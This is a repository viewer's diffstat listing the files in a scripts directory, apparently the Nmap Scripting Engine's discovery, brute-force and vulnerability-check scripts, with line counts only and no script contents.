summaryrefslogtreecommitdiffstats
path: root/scripts
diff options
context:
space:
mode:
Diffstat (limited to '')
-rw-r--r--scripts/acarsd-info.nse115
-rw-r--r--scripts/address-info.nse299
-rw-r--r--scripts/afp-brute.nse111
-rw-r--r--scripts/afp-ls.nse187
-rw-r--r--scripts/afp-path-vuln.nse220
-rw-r--r--scripts/afp-serverinfo.nse175
-rw-r--r--scripts/afp-showmount.nse101
-rw-r--r--scripts/ajp-auth.nse72
-rw-r--r--scripts/ajp-brute.nse113
-rw-r--r--scripts/ajp-headers.nse46
-rw-r--r--scripts/ajp-methods.nse81
-rw-r--r--scripts/ajp-request.nse103
-rw-r--r--scripts/allseeingeye-info.nse219
-rw-r--r--scripts/amqp-info.nse60
-rw-r--r--scripts/asn-query.nse466
-rw-r--r--scripts/auth-owners.nse80
-rw-r--r--scripts/auth-spoof.nse37
-rw-r--r--scripts/backorifice-brute.nse291
-rw-r--r--scripts/backorifice-info.nse325
-rw-r--r--scripts/bacnet-info.nse1569
-rw-r--r--scripts/banner.nse198
-rw-r--r--scripts/bitcoin-getaddr.nse76
-rw-r--r--scripts/bitcoin-info.nse75
-rw-r--r--scripts/bitcoinrpc-info.nse165
-rw-r--r--scripts/bittorrent-discovery.nse139
-rw-r--r--scripts/bjnp-discover.nse50
-rw-r--r--scripts/broadcast-ataoe-discover.nse165
-rw-r--r--scripts/broadcast-avahi-dos.nse108
-rw-r--r--scripts/broadcast-bjnp-discover.nse174
-rw-r--r--scripts/broadcast-db2-discover.nse86
-rw-r--r--scripts/broadcast-dhcp-discover.nse311
-rw-r--r--scripts/broadcast-dhcp6-discover.nse121
-rw-r--r--scripts/broadcast-dns-service-discovery.nse57
-rw-r--r--scripts/broadcast-dropbox-listener.nse140
-rw-r--r--scripts/broadcast-eigrp-discovery.nse340
-rw-r--r--scripts/broadcast-hid-discoveryd.nse100
-rw-r--r--scripts/broadcast-igmp-discovery.nse412
-rw-r--r--scripts/broadcast-jenkins-discover.nse94
-rw-r--r--scripts/broadcast-listener.nse297
-rw-r--r--scripts/broadcast-ms-sql-discover.nse114
-rw-r--r--scripts/broadcast-netbios-master-browser.nse67
-rw-r--r--scripts/broadcast-networker-discover.nse92
-rw-r--r--scripts/broadcast-novell-locate.nse78
-rw-r--r--scripts/broadcast-ospf2-discover.nse431
-rw-r--r--scripts/broadcast-pc-anywhere.nse72
-rw-r--r--scripts/broadcast-pc-duo.nse132
-rw-r--r--scripts/broadcast-pim-discovery.nse185
-rw-r--r--scripts/broadcast-ping.nse283
-rw-r--r--scripts/broadcast-pppoe-discover.nse124
-rw-r--r--scripts/broadcast-rip-discover.nse181
-rw-r--r--scripts/broadcast-ripng-discover.nse215
-rw-r--r--scripts/broadcast-sonicwall-discover.nse122
-rw-r--r--scripts/broadcast-sybase-asa-discover.nse188
-rw-r--r--scripts/broadcast-tellstick-discover.nse69
-rw-r--r--scripts/broadcast-upnp-info.nse51
-rw-r--r--scripts/broadcast-versant-locate.nse41
-rw-r--r--scripts/broadcast-wake-on-lan.nse68
-rw-r--r--scripts/broadcast-wpad-discover.nse242
-rw-r--r--scripts/broadcast-wsdd-discover.nse102
-rw-r--r--scripts/broadcast-xdmcp-discover.nse73
-rw-r--r--scripts/cassandra-brute.nse132
-rw-r--r--scripts/cassandra-info.nse94
-rw-r--r--scripts/cccam-version.nse63
-rw-r--r--scripts/cics-enum.nse430
-rw-r--r--scripts/cics-info.nse409
-rw-r--r--scripts/cics-user-brute.nse299
-rw-r--r--scripts/cics-user-enum.nse255
-rw-r--r--scripts/citrix-brute-xml.nse163
-rw-r--r--scripts/citrix-enum-apps-xml.nse154
-rw-r--r--scripts/citrix-enum-apps.nse159
-rw-r--r--scripts/citrix-enum-servers-xml.nse47
-rw-r--r--scripts/citrix-enum-servers.nse145
-rw-r--r--scripts/clamav-exec.nse220
-rw-r--r--scripts/clock-skew.nse179
-rw-r--r--scripts/coap-resources.nse317
-rw-r--r--scripts/couchdb-databases.nse97
-rw-r--r--scripts/couchdb-stats.nse225
-rw-r--r--scripts/creds-summary.nse41
-rw-r--r--scripts/cups-info.nse79
-rw-r--r--scripts/cups-queue-info.nse47
-rw-r--r--scripts/cvs-brute-repository.nse129
-rw-r--r--scripts/cvs-brute.nse106
-rw-r--r--scripts/daap-get-library.nse332
-rw-r--r--scripts/daytime.nse26
-rw-r--r--scripts/db2-das-info.nse430
-rw-r--r--scripts/deluge-rpc-brute.nse167
-rw-r--r--scripts/dhcp-discover.nse228
-rw-r--r--scripts/dicom-brute.nse80
-rw-r--r--scripts/dicom-ping.nse70
-rw-r--r--scripts/dict-info.nse79
-rw-r--r--scripts/distcc-cve2004-2687.nse108
-rw-r--r--scripts/dns-blacklist.nse176
-rw-r--r--scripts/dns-brute.nse328
-rw-r--r--scripts/dns-cache-snoop.nse233
-rw-r--r--scripts/dns-check-zone.nse450
-rw-r--r--scripts/dns-client-subnet-scan.nse359
-rw-r--r--scripts/dns-fuzz.nse306
-rw-r--r--scripts/dns-ip6-arpa-scan.nse131
-rw-r--r--scripts/dns-nsec-enum.nse393
-rw-r--r--scripts/dns-nsec3-enum.nse427
-rw-r--r--scripts/dns-nsid.nse109
-rw-r--r--scripts/dns-random-srcport.nse153
-rw-r--r--scripts/dns-random-txid.nse153
-rw-r--r--scripts/dns-recursion.nse58
-rw-r--r--scripts/dns-service-discovery.nse67
-rw-r--r--scripts/dns-srv-enum.nse179
-rw-r--r--scripts/dns-update.nse118
-rw-r--r--scripts/dns-zeustracker.nse61
-rw-r--r--scripts/dns-zone-transfer.nse780
-rw-r--r--scripts/docker-version.nse46
-rw-r--r--scripts/domcon-brute.nse168
-rw-r--r--scripts/domcon-cmd.nse141
-rw-r--r--scripts/domino-enum-users.nse135
-rw-r--r--scripts/dpap-brute.nse127
-rw-r--r--scripts/drda-brute.nse173
-rw-r--r--scripts/drda-info.nse114
-rw-r--r--scripts/duplicates.nse243
-rw-r--r--scripts/eap-info.nse193
-rw-r--r--scripts/enip-info.nse1766
-rw-r--r--scripts/epmd-info.nse69
-rw-r--r--scripts/eppc-enum-processes.nse105
-rw-r--r--scripts/fcrdns.nse141
-rw-r--r--scripts/finger.nse37
-rw-r--r--scripts/fingerprint-strings.nse136
-rw-r--r--scripts/firewalk.nse1062
-rw-r--r--scripts/firewall-bypass.nse284
-rw-r--r--scripts/flume-master-info.nse296
-rw-r--r--scripts/fox-info.nse139
-rw-r--r--scripts/freelancer-info.nse107
-rw-r--r--scripts/ftp-anon.nse144
-rw-r--r--scripts/ftp-bounce.nse113
-rw-r--r--scripts/ftp-brute.nse105
-rw-r--r--scripts/ftp-libopie.nse101
-rw-r--r--scripts/ftp-proftpd-backdoor.nse128
-rw-r--r--scripts/ftp-syst.nse145
-rw-r--r--scripts/ftp-vsftpd-backdoor.nse193
-rw-r--r--scripts/ftp-vuln-cve2010-4221.nse199
-rw-r--r--scripts/ganglia-info.nse244
-rw-r--r--scripts/giop-info.nse81
-rw-r--r--scripts/gkrellm-info.nse205
-rw-r--r--scripts/gopher-ls.nse92
-rw-r--r--scripts/gpsd-info.nse105
-rw-r--r--scripts/hadoop-datanode-info.nse61
-rw-r--r--scripts/hadoop-jobtracker-info.nse181
-rw-r--r--scripts/hadoop-namenode-info.nse180
-rw-r--r--scripts/hadoop-secondary-namenode-info.nse122
-rw-r--r--scripts/hadoop-tasktracker-info.nse80
-rw-r--r--scripts/hbase-master-info.nse145
-rw-r--r--scripts/hbase-region-info.nse94
-rw-r--r--scripts/hddtemp-info.nse69
-rw-r--r--scripts/hnap-info.nse130
-rw-r--r--scripts/hostmap-bfk.nse130
-rw-r--r--scripts/hostmap-crtsh.nse158
-rw-r--r--scripts/hostmap-robtex.nse85
-rw-r--r--scripts/http-adobe-coldfusion-apsa1301.nse66
-rw-r--r--scripts/http-affiliate-id.nse167
-rw-r--r--scripts/http-apache-negotiation.nse66
-rw-r--r--scripts/http-apache-server-status.nse126
-rw-r--r--scripts/http-aspnet-debug.nse60
-rw-r--r--scripts/http-auth-finder.nse119
-rw-r--r--scripts/http-auth.nse106
-rw-r--r--scripts/http-avaya-ipoffice-users.nse77
-rw-r--r--scripts/http-awstatstotals-exec.nse136
-rw-r--r--scripts/http-axis2-dir-traversal.nse197
-rw-r--r--scripts/http-backup-finder.nse157
-rw-r--r--scripts/http-barracuda-dir-traversal.nse184
-rw-r--r--scripts/http-bigip-cookie.nse83
-rw-r--r--scripts/http-brute.nse165
-rw-r--r--scripts/http-cakephp-version.nse113
-rw-r--r--scripts/http-chrono.nse136
-rw-r--r--scripts/http-cisco-anyconnect.nse60
-rw-r--r--scripts/http-coldfusion-subzero.nse147
-rw-r--r--scripts/http-comments-displayer.nse156
-rw-r--r--scripts/http-config-backup.nse242
-rw-r--r--scripts/http-cookie-flags.nse173
-rw-r--r--scripts/http-cors.nse100
-rw-r--r--scripts/http-cross-domain-policy.nse306
-rw-r--r--scripts/http-csrf.nse187
-rw-r--r--scripts/http-date.nse58
-rw-r--r--scripts/http-default-accounts.nse446
-rw-r--r--scripts/http-devframework.nse150
-rw-r--r--scripts/http-dlink-backdoor.nse70
-rw-r--r--scripts/http-dombased-xss.nse154
-rw-r--r--scripts/http-domino-enum-passwords.nse354
-rw-r--r--scripts/http-drupal-enum-users.nse82
-rw-r--r--scripts/http-drupal-enum.nse233
-rw-r--r--scripts/http-enum.nse515
-rw-r--r--scripts/http-errors.nse130
-rw-r--r--scripts/http-exif-spider.nse539
-rw-r--r--scripts/http-favicon.nse175
-rw-r--r--scripts/http-feed.nse159
-rw-r--r--scripts/http-fetch.nse251
-rw-r--r--scripts/http-fileupload-exploiter.nse342
-rw-r--r--scripts/http-form-brute.nse592
-rw-r--r--scripts/http-form-fuzzer.nse204
-rw-r--r--scripts/http-frontpage-login.nse84
-rw-r--r--scripts/http-generator.nse62
-rw-r--r--scripts/http-git.nse309
-rw-r--r--scripts/http-gitweb-projects-enum.nse106
-rw-r--r--scripts/http-google-malware.nse109
-rw-r--r--scripts/http-grep.nse326
-rw-r--r--scripts/http-headers.nse66
-rw-r--r--scripts/http-hp-ilo-info.nse120
-rw-r--r--scripts/http-huawei-hg5xx-vuln.nse131
-rw-r--r--scripts/http-icloud-findmyiphone.nse87
-rw-r--r--scripts/http-icloud-sendmsg.nse113
-rw-r--r--scripts/http-iis-short-name-brute.nse181
-rw-r--r--scripts/http-iis-webdav-vuln.nse220
-rw-r--r--scripts/http-internal-ip-disclosure.nse87
-rw-r--r--scripts/http-joomla-brute.nse147
-rw-r--r--scripts/http-jsonp-detection.nse190
-rw-r--r--scripts/http-litespeed-sourcecode-download.nse75
-rw-r--r--scripts/http-ls.nse193
-rw-r--r--scripts/http-majordomo2-dir-traversal.nse96
-rw-r--r--scripts/http-malware-host.nse81
-rw-r--r--scripts/http-mcmp.nse70
-rw-r--r--scripts/http-method-tamper.nse176
-rw-r--r--scripts/http-methods.nse235
-rw-r--r--scripts/http-mobileversion-checker.nse87
-rw-r--r--scripts/http-ntlm-info.nse131
-rw-r--r--scripts/http-open-proxy.nse213
-rw-r--r--scripts/http-open-redirect.nse136
-rw-r--r--scripts/http-passwd.nse198
-rw-r--r--scripts/http-php-version.nse166
-rw-r--r--scripts/http-phpmyadmin-dir-traversal.nse149
-rw-r--r--scripts/http-phpself-xss.nse168
-rw-r--r--scripts/http-proxy-brute.nse115
-rw-r--r--scripts/http-put.nse61
-rw-r--r--scripts/http-qnap-nas-info.nse118
-rw-r--r--scripts/http-referer-checker.nse89
-rw-r--r--scripts/http-rfi-spider.nse283
-rw-r--r--scripts/http-robots.txt.nse111
-rw-r--r--scripts/http-robtex-reverse-ip.nse81
-rw-r--r--scripts/http-robtex-shared-ns.nse111
-rw-r--r--scripts/http-sap-netweaver-leak.nse138
-rw-r--r--scripts/http-security-headers.nse315
-rw-r--r--scripts/http-server-header.nse106
-rw-r--r--scripts/http-shellshock.nse144
-rw-r--r--scripts/http-sitemap-generator.nse179
-rw-r--r--scripts/http-slowloris-check.nse164
-rw-r--r--scripts/http-slowloris.nse361
-rw-r--r--scripts/http-sql-injection.nse285
-rw-r--r--scripts/http-stored-xss.nse283
-rw-r--r--scripts/http-svn-enum.nse132
-rw-r--r--scripts/http-svn-info.nse130
-rw-r--r--scripts/http-title.nse82
-rw-r--r--scripts/http-tplink-dir-traversal.nse158
-rw-r--r--scripts/http-trace.nse72
-rw-r--r--scripts/http-traceroute.nse180
-rw-r--r--scripts/http-trane-info.nse167
-rw-r--r--scripts/http-unsafe-output-escaping.nse160
-rw-r--r--scripts/http-useragent-tester.nse193
-rw-r--r--scripts/http-userdir-enum.nse133
-rw-r--r--scripts/http-vhosts.nse185
-rw-r--r--scripts/http-virustotal.nse254
-rw-r--r--scripts/http-vlcstreamer-ls.nse86
-rw-r--r--scripts/http-vmware-path-vuln.nse141
-rw-r--r--scripts/http-vuln-cve2006-3392.nse79
-rw-r--r--scripts/http-vuln-cve2009-3960.nse163
-rw-r--r--scripts/http-vuln-cve2010-0738.nse79
-rw-r--r--scripts/http-vuln-cve2010-2861.nse143
-rw-r--r--scripts/http-vuln-cve2011-3192.nse128
-rw-r--r--scripts/http-vuln-cve2011-3368.nse160
-rw-r--r--scripts/http-vuln-cve2012-1823.nse102
-rw-r--r--scripts/http-vuln-cve2013-0156.nse123
-rw-r--r--scripts/http-vuln-cve2013-6786.nse78
-rw-r--r--scripts/http-vuln-cve2013-7091.nse121
-rw-r--r--scripts/http-vuln-cve2014-2126.nse88
-rw-r--r--scripts/http-vuln-cve2014-2127.nse88
-rw-r--r--scripts/http-vuln-cve2014-2128.nse89
-rw-r--r--scripts/http-vuln-cve2014-2129.nse86
-rw-r--r--scripts/http-vuln-cve2014-3704.nse430
-rw-r--r--scripts/http-vuln-cve2014-8877.nse134
-rw-r--r--scripts/http-vuln-cve2015-1427.nse210
-rw-r--r--scripts/http-vuln-cve2015-1635.nse86
-rw-r--r--scripts/http-vuln-cve2017-1001000.nse126
-rw-r--r--scripts/http-vuln-cve2017-5638.nse78
-rw-r--r--scripts/http-vuln-cve2017-5689.nse127
-rw-r--r--scripts/http-vuln-cve2017-8917.nse143
-rw-r--r--scripts/http-vuln-misfortune-cookie.nse77
-rw-r--r--scripts/http-vuln-wnr1000-creds.nse103
-rw-r--r--scripts/http-waf-detect.nse129
-rw-r--r--scripts/http-waf-fingerprint.nse677
-rw-r--r--scripts/http-webdav-scan.nse182
-rw-r--r--scripts/http-wordpress-brute.nse141
-rw-r--r--scripts/http-wordpress-enum.nse299
-rw-r--r--scripts/http-wordpress-users.nse149
-rw-r--r--scripts/http-xssed.nse92
-rw-r--r--scripts/https-redirect.nse78
-rw-r--r--scripts/iax2-brute.nse76
-rw-r--r--scripts/iax2-version.nse55
-rw-r--r--scripts/icap-info.nse119
-rw-r--r--scripts/iec-identify.nse161
-rw-r--r--scripts/ike-version.nse171
-rw-r--r--scripts/imap-brute.nse144
-rw-r--r--scripts/imap-capabilities.nse53
-rw-r--r--scripts/imap-ntlm-info.nse176
-rw-r--r--scripts/impress-remote-discover.nse213
-rw-r--r--scripts/informix-brute.nse111
-rw-r--r--scripts/informix-query.nse94
-rw-r--r--scripts/informix-tables.nse122
-rw-r--r--scripts/ip-forwarding.nse104
-rw-r--r--scripts/ip-geolocation-geoplugin.nse72
-rw-r--r--scripts/ip-geolocation-ipinfodb.nse96
-rw-r--r--scripts/ip-geolocation-map-bing.nse191
-rw-r--r--scripts/ip-geolocation-map-google.nse181
-rw-r--r--scripts/ip-geolocation-map-kml.nse90
-rw-r--r--scripts/ip-geolocation-maxmind.nse628
-rw-r--r--scripts/ip-https-discover.nse76
-rw-r--r--scripts/ipidseq.nse238
-rw-r--r--scripts/ipmi-brute.nse130
-rw-r--r--scripts/ipmi-cipher-zero.nse102
-rw-r--r--scripts/ipmi-version.nse170
-rw-r--r--scripts/ipv6-multicast-mld-list.nse398
-rw-r--r--scripts/ipv6-node-info.nse337
-rw-r--r--scripts/ipv6-ra-flood.nse197
-rw-r--r--scripts/irc-botnet-channels.nse315
-rw-r--r--scripts/irc-brute.nse136
-rw-r--r--scripts/irc-info.nse166
-rw-r--r--scripts/irc-sasl-brute.nse204
-rw-r--r--scripts/irc-unrealircd-backdoor.nse223
-rw-r--r--scripts/iscsi-brute.nse91
-rw-r--r--scripts/iscsi-info.nse106
-rw-r--r--scripts/isns-info.nse71
-rw-r--r--scripts/jdwp-exec.nse97
-rw-r--r--scripts/jdwp-info.nse93
-rw-r--r--scripts/jdwp-inject.nse87
-rw-r--r--scripts/jdwp-version.nse59
-rw-r--r--scripts/knx-gateway-discover.nse298
-rw-r--r--scripts/knx-gateway-info.nse147
-rw-r--r--scripts/krb5-enum-users.nse404
-rw-r--r--scripts/ldap-brute.nse317
-rw-r--r--scripts/ldap-novell-getpass.nse139
-rw-r--r--scripts/ldap-rootdse.nse212
-rw-r--r--scripts/ldap-search.nse315
-rw-r--r--scripts/lexmark-config.nse88
-rw-r--r--scripts/llmnr-resolve.nse209
-rw-r--r--scripts/lltd-discovery.nse329
-rw-r--r--scripts/lu-enum.nse216
-rw-r--r--scripts/maxdb-info.nse179
-rw-r--r--scripts/mcafee-epo-agent.nse77
-rw-r--r--scripts/membase-brute.nse113
-rw-r--r--scripts/membase-http-info.nse151
-rw-r--r--scripts/memcached-info.nse184
-rw-r--r--scripts/metasploit-info.nse287
-rw-r--r--scripts/metasploit-msgrpc-brute.nse110
-rw-r--r--scripts/metasploit-xmlrpc-brute.nse99
-rw-r--r--scripts/mikrotik-routeros-brute.nse99
-rw-r--r--scripts/mmouse-brute.nse120
-rw-r--r--scripts/mmouse-exec.nse180
-rw-r--r--scripts/modbus-discover.nse163
-rw-r--r--scripts/mongodb-brute.nse108
-rw-r--r--scripts/mongodb-databases.nse100
-rw-r--r--scripts/mongodb-info.nse132
-rw-r--r--scripts/mqtt-subscribe.nse393
-rw-r--r--scripts/mrinfo.nse289
-rw-r--r--scripts/ms-sql-brute.nse290
-rw-r--r--scripts/ms-sql-config.nse132
-rw-r--r--scripts/ms-sql-dac.nse85
-rw-r--r--scripts/ms-sql-dump-hashes.nse113
-rw-r--r--scripts/ms-sql-empty-password.nse163
-rw-r--r--scripts/ms-sql-hasdbaccess.nse150
-rw-r--r--scripts/ms-sql-info.nse237
-rw-r--r--scripts/ms-sql-ntlm-info.nse134
-rw-r--r--scripts/ms-sql-query.nse107
-rw-r--r--scripts/ms-sql-tables.nse253
-rw-r--r--scripts/ms-sql-xp-cmdshell.nse153
-rw-r--r--scripts/msrpc-enum.nse112
-rw-r--r--scripts/mtrace.nse378
-rw-r--r--scripts/murmur-version.nse101
-rw-r--r--scripts/mysql-audit.nse182
-rw-r--r--scripts/mysql-brute.nse99
-rw-r--r--scripts/mysql-databases.nse98
-rw-r--r--scripts/mysql-dump-hashes.nse102
-rw-r--r--scripts/mysql-empty-password.nse67
-rw-r--r--scripts/mysql-enum.nse113
-rw-r--r--scripts/mysql-info.nse132
-rw-r--r--scripts/mysql-query.nse118
-rw-r--r--scripts/mysql-users.nse97
-rw-r--r--scripts/mysql-variables.nse109
-rw-r--r--scripts/mysql-vuln-cve2012-2122.nse153
-rw-r--r--scripts/nat-pmp-info.nse47
-rw-r--r--scripts/nat-pmp-mapport.nse117
-rw-r--r--scripts/nbd-info.nse197
-rw-r--r--scripts/nbns-interfaces.nse69
-rw-r--r--scripts/nbstat.nse244
-rw-r--r--scripts/ncp-enum-users.nse54
-rw-r--r--scripts/ncp-serverinfo.nse51
-rw-r--r--scripts/ndmp-fs-info.nse72
-rw-r--r--scripts/ndmp-version.nse71
-rw-r--r--scripts/nessus-brute.nse153
-rw-r--r--scripts/nessus-xmlrpc-brute.nse130
-rw-r--r--scripts/netbus-auth-bypass.nse63
-rw-r--r--scripts/netbus-brute.nse63
-rw-r--r--scripts/netbus-info.nse200
-rw-r--r--scripts/netbus-version.nse54
-rw-r--r--scripts/nexpose-brute.nse83
-rw-r--r--scripts/nfs-ls.nse470
-rw-r--r--scripts/nfs-showmount.nse97
-rw-r--r--scripts/nfs-statfs.nse359
-rw-r--r--scripts/nje-node-brute.nse175
-rw-r--r--scripts/nje-pass-brute.nse148
-rw-r--r--scripts/nntp-ntlm-info.nse162
-rw-r--r--scripts/nping-brute.nse151
-rw-r--r--scripts/nrpe-enum.nse241
-rw-r--r--scripts/ntp-info.nse172
-rw-r--r--scripts/ntp-monlist.nse1036
-rw-r--r--scripts/omp2-brute.nse81
-rw-r--r--scripts/omp2-enum-targets.nse126
-rw-r--r--scripts/omron-info.nse197
-rw-r--r--scripts/openflow-info.nse205
-rw-r--r--scripts/openlookup-info.nse246
-rw-r--r--scripts/openvas-otp-brute.nse112
-rw-r--r--scripts/openwebnet-discovery.nse291
-rw-r--r--scripts/oracle-brute-stealth.nse207
-rw-r--r--scripts/oracle-brute.nse228
-rw-r--r--scripts/oracle-enum-users.nse134
-rw-r--r--scripts/oracle-sid-brute.nse171
-rw-r--r--scripts/oracle-tns-version.nse104
-rw-r--r--scripts/ovs-agent-version.nse78
-rw-r--r--scripts/p2p-conficker.nse651
-rw-r--r--scripts/path-mtu.nse399
-rw-r--r--scripts/pcanywhere-brute.nse158
-rw-r--r--scripts/pcworx-info.nse111
-rw-r--r--scripts/pgsql-brute.nse169
-rw-r--r--scripts/pjl-ready-message.nse105
-rw-r--r--scripts/pop3-brute.nse136
-rw-r--r--scripts/pop3-capabilities.nse47
-rw-r--r--scripts/pop3-ntlm-info.nse161
-rw-r--r--scripts/port-states.nse86
-rw-r--r--scripts/pptp-version.nse81
-rw-r--r--scripts/puppet-naivesigning.nse192
-rw-r--r--scripts/qconn-exec.nse114
-rw-r--r--scripts/qscan.nse503
-rw-r--r--scripts/quake1-info.nse319
-rw-r--r--scripts/quake3-info.nse256
-rw-r--r--scripts/quake3-master-getservers.nse249
-rw-r--r--scripts/rdp-enum-encryption.nse213
-rw-r--r--scripts/rdp-ntlm-info.nse168
-rw-r--r--scripts/rdp-vuln-ms12-020.nse237
-rw-r--r--scripts/realvnc-auth-bypass.nse110
-rw-r--r--scripts/redis-brute.nse113
-rw-r--r--scripts/redis-info.nse250
-rw-r--r--scripts/resolveall.nse170
-rw-r--r--scripts/reverse-index.nse121
-rw-r--r--scripts/rexec-brute.nse113
-rw-r--r--scripts/rfc868-time.nse65
-rw-r--r--scripts/riak-http-info.nse145
-rw-r--r--scripts/rlogin-brute.nse161
-rw-r--r--scripts/rmi-dumpregistry.nse234
-rw-r--r--scripts/rmi-vuln-classloader.nse115
-rw-r--r--scripts/rpc-grind.nse269
-rw-r--r--scripts/rpcap-brute.nse94
-rw-r--r--scripts/rpcap-info.nse94
-rw-r--r--scripts/rpcinfo.nse134
-rw-r--r--scripts/rsa-vuln-roca.nse176
-rw-r--r--scripts/rsync-brute.nse110
-rw-r--r--scripts/rsync-list-modules.nse48
-rw-r--r--scripts/rtsp-methods.nse58
-rw-r--r--scripts/rtsp-url-brute.nse202
-rw-r--r--scripts/rusers.nse176
-rw-r--r--scripts/s7-info.nse271
-rw-r--r--scripts/samba-vuln-cve-2012-1182.nse130
-rw-r--r--scripts/script.db605
-rw-r--r--scripts/servicetags.nse297
-rw-r--r--scripts/shodan-api.nse223
-rw-r--r--scripts/sip-brute.nse111
-rw-r--r--scripts/sip-call-spoof.nse170
-rw-r--r--scripts/sip-enum-users.nse266
-rw-r--r--scripts/sip-methods.nse65
-rw-r--r--scripts/skypev2-version.nse80
-rw-r--r--scripts/smb-brute.nse1114
-rw-r--r--scripts/smb-double-pulsar-backdoor.nse146
-rw-r--r--scripts/smb-enum-domains.nse123
-rw-r--r--scripts/smb-enum-groups.nse174
-rw-r--r--scripts/smb-enum-processes.nse278
-rw-r--r--scripts/smb-enum-services.nse917
-rw-r--r--scripts/smb-enum-sessions.nse328
-rw-r--r--scripts/smb-enum-shares.nse194
-rw-r--r--scripts/smb-enum-users.nse267
-rw-r--r--scripts/smb-flood.nse146
-rw-r--r--scripts/smb-ls.nse218
-rw-r--r--scripts/smb-mbenum.nse246
-rw-r--r--scripts/smb-os-discovery.nse220
-rw-r--r--scripts/smb-print-text.nse133
-rw-r--r--scripts/smb-protocols.nse71
-rw-r--r--scripts/smb-psexec.nse1565
-rw-r--r--scripts/smb-security-mode.nse158
-rw-r--r--scripts/smb-server-stats.nse66
-rw-r--r--scripts/smb-system-info.nse249
-rw-r--r--scripts/smb-vuln-conficker.nse188
-rw-r--r--scripts/smb-vuln-cve-2017-7494.nse517
-rw-r--r--scripts/smb-vuln-cve2009-3103.nse174
-rw-r--r--scripts/smb-vuln-ms06-025.nse163
-rw-r--r--scripts/smb-vuln-ms07-029.nse150
-rw-r--r--scripts/smb-vuln-ms08-067.nse154
-rw-r--r--scripts/smb-vuln-ms10-054.nse144
-rw-r--r--scripts/smb-vuln-ms10-061.nse171
-rw-r--r--scripts/smb-vuln-ms17-010.nse192
-rw-r--r--scripts/smb-vuln-regsvc-dos.nse124
-rw-r--r--scripts/smb-vuln-webexec.nse167
-rw-r--r--scripts/smb-webexec-exploit.nse140
-rw-r--r--scripts/smb2-capabilities.nse129
-rw-r--r--scripts/smb2-security-mode.nse88
-rw-r--r--scripts/smb2-time.nse51
-rw-r--r--scripts/smb2-vuln-uptime.nse157
-rw-r--r--scripts/smtp-brute.nse140
-rw-r--r--scripts/smtp-commands.nse131
-rw-r--r--scripts/smtp-enum-users.nse382
-rw-r--r--scripts/smtp-ntlm-info.nse186
-rw-r--r--scripts/smtp-open-relay.nse288
-rw-r--r--scripts/smtp-strangeport.nse29
-rw-r--r--scripts/smtp-vuln-cve2010-4344.nse461
-rw-r--r--scripts/smtp-vuln-cve2011-1720.nse285
-rw-r--r--scripts/smtp-vuln-cve2011-1764.nse235
-rw-r--r--scripts/sniffer-detect.nse144
-rw-r--r--scripts/snmp-brute.nse278
-rw-r--r--scripts/snmp-hh3c-logins.nse148
-rw-r--r--scripts/snmp-info.nse145
-rw-r--r--scripts/snmp-interfaces.nse736
-rw-r--r--scripts/snmp-ios-config.nse178
-rw-r--r--scripts/snmp-netstat.nse138
-rw-r--r--scripts/snmp-processes.nse162
-rw-r--r--scripts/snmp-sysdescr.nse69
-rw-r--r--scripts/snmp-win32-services.nse95
-rw-r--r--scripts/snmp-win32-shares.nse100
-rw-r--r--scripts/snmp-win32-software.nse163
-rw-r--r--scripts/snmp-win32-users.nse92
-rw-r--r--scripts/socks-auth-info.nse65
-rw-r--r--scripts/socks-brute.nse102
-rw-r--r--scripts/socks-open-proxy.nse191
-rw-r--r--scripts/ssh-auth-methods.nse43
-rw-r--r--scripts/ssh-brute.nse113
-rw-r--r--scripts/ssh-hostkey.nse424
-rw-r--r--scripts/ssh-publickey-acceptance.nse167
-rw-r--r--scripts/ssh-run.nse103
-rw-r--r--scripts/ssh2-enum-algos.nse212
-rw-r--r--scripts/sshv1.nse74
-rw-r--r--scripts/ssl-ccs-injection.nse328
-rw-r--r--scripts/ssl-cert-intaddr.nse149
-rw-r--r--scripts/ssl-cert.nse320
-rw-r--r--scripts/ssl-date.nse215
-rw-r--r--scripts/ssl-dh-params.nse941
-rw-r--r--scripts/ssl-enum-ciphers.nse1141
-rw-r--r--scripts/ssl-heartbleed.nse238
-rw-r--r--scripts/ssl-known-key.nse136
-rw-r--r--scripts/ssl-poodle.nse357
-rw-r--r--scripts/sslv2-drown.nse341
-rw-r--r--scripts/sslv2.nse57
-rw-r--r--scripts/sstp-discover.nse80
-rw-r--r--scripts/stun-info.nse49
-rw-r--r--scripts/stun-version.nse44
-rw-r--r--scripts/stuxnet-detect.nse119
-rw-r--r--scripts/supermicro-ipmi-conf.nse99
-rw-r--r--scripts/svn-brute.nse273
-rw-r--r--scripts/targets-asn.nse101
-rw-r--r--scripts/targets-ipv6-map4to6.nse247
-rw-r--r--scripts/targets-ipv6-multicast-echo.nse170
-rw-r--r--scripts/targets-ipv6-multicast-invalid-dst.nse199
-rw-r--r--scripts/targets-ipv6-multicast-mld.nse147
-rw-r--r--scripts/targets-ipv6-multicast-slaac.nse256
-rw-r--r--scripts/targets-ipv6-wordlist.nse283
-rw-r--r--scripts/targets-sniffer.nse151
-rw-r--r--scripts/targets-traceroute.nse64
-rw-r--r--scripts/targets-xml.nse142
-rw-r--r--scripts/teamspeak2-version.nse71
-rw-r--r--scripts/telnet-brute.nse697
-rw-r--r--scripts/telnet-encryption.nse106
-rw-r--r--scripts/telnet-ntlm-info.nse141
-rw-r--r--scripts/tftp-enum.nse212
-rw-r--r--scripts/tftp-version.nse321
-rw-r--r--scripts/tls-alpn.nse237
-rw-r--r--scripts/tls-nextprotoneg.nse160
-rw-r--r--scripts/tls-ticketbleed.nse360
-rw-r--r--scripts/tn3270-screen.nse122
-rw-r--r--scripts/tor-consensus-checker.nse135
-rw-r--r--scripts/traceroute-geolocation.nse187
-rw-r--r--scripts/tso-brute.nse368
-rw-r--r--scripts/tso-enum.nse291
-rw-r--r--scripts/ubiquiti-discovery.nse375
-rw-r--r--scripts/unittest.nse44
-rw-r--r--scripts/unusual-port.nse130
-rw-r--r--scripts/upnp-info.nse55
-rw-r--r--scripts/uptime-agent-info.nse95
-rw-r--r--scripts/url-snarf.nse146
-rw-r--r--scripts/ventrilo-info.nse665
-rw-r--r--scripts/versant-info.nse115
-rw-r--r--scripts/vmauthd-brute.nse121
-rw-r--r--scripts/vmware-version.nse88
-rw-r--r--scripts/vnc-brute.nse152
-rw-r--r--scripts/vnc-info.nse163
-rw-r--r--scripts/vnc-title.nse104
-rw-r--r--scripts/voldemort-info.nse173
-rw-r--r--scripts/vtam-enum.nse277
-rw-r--r--scripts/vulners.nse236
-rw-r--r--scripts/vuze-dht-info.nse88
-rw-r--r--scripts/wdb-version.nse222
